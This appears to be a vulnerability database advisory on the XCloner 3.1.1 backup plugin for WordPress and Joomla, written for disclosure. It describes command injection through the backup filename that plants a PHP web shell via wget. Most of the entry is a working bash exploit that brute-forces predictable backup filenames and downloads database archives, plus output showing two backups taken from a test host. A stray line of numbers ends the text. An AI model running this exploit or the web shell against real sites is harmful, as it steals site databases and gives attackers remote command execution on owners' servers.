The VapidLabs Vulnerability Database

XCloner is a Backup and Restore component designed for PHP/Mysql websites, it can work as a native plugin for WordPress and Joomla!.

All input fields I believe are vulnerable, I’ve chosen the backup filename and a wget of sh.txt which is simply <?php passthru($_GET)?> into a writeable directory by www-data.

#!/bin/bash
#Exploit to download XCloner v3.1.1 Database backups
#Larry W. Cashdollar, @_larry0
#XCloner recommends a backup storage path under the WP root directory
#it uses a 0 size index.html file to block indexing.
#we can try to brute force the filenames it creates.
MONTH=10
DAY=30
#May need to set the DOMAIN to $1 the target depending on how WP is configured.
DOMAIN=
for y in `seq -w 1 24`; do
        for x in `seq -w 1 59`; do
                CPATH="http://$1/administrator/backups/backup_2014-"$MONTH"-"$DAY"_"$y"-"$x"_$DOMAIN-sql-nodrop.tar";
                 RESULT=`curl -s --head $CPATH|grep 200`;
                if [ -n "$RESULT" ]; then
                 echo "[+] Location $CPATH Found";
                 echo "[+] Received $RESULT";
                 echo "Downloading......";
                 wget $CPATH
                fi;
        done
done

lwc@wordpress:~$ bash exp.sh 192.168.0.26
[+] Location http://192.168.0.26/administrator/backups/backup_2014-10-30_06-27_-sql-nodrop.tar Found
[+] Received HTTP/1.1 200 OK
Downloading......
--2014-10-30 13:02:51--  http://192.168.0.26/administrator/backups/backup_2014-10-30_06-27_-sql-nodrop.tar
Connecting to 192.168.0.26:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44400640 (42M) [application/x-tar]
Saving to: `backup_2014-10-30_06-27_-sql-nodrop.tar.1'
100%[========================================>] 44,400,640  56.9M/s   in 0.7s    
2014-10-30 13:02:52 (56.9 MB/s) - `backup_2014-10-30_06-27_-sql-nodrop.tar.1' saved [44400640/44400640]
[+] Location http://192.168.0.26/administrator/backups/backup_2014-10-30_06-33_-sql-nodrop.tar Found
[+] Received HTTP/1.1 200 OK
Downloading......
--2014-10-30 13:02:52--  http://192.168.0.26/administrator/backups/backup_2014-10-30_06-33_-sql-nodrop.tar
Connecting to 192.168.0.26:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44400640 (42M) [application/x-tar]
Saving to: `backup_2014-10-30_06-33_-sql-nodrop.tar.1'
100%[========================================>] 44,400,640  64.1M/s   in 0.7s    
2014-10-30 13:02:53 (64.1 MB/s) - `backup_2014-10-30_06-33_-sql-nodrop.tar.1' saved [44400640/44400640]

114176 114177 114178 114179 114180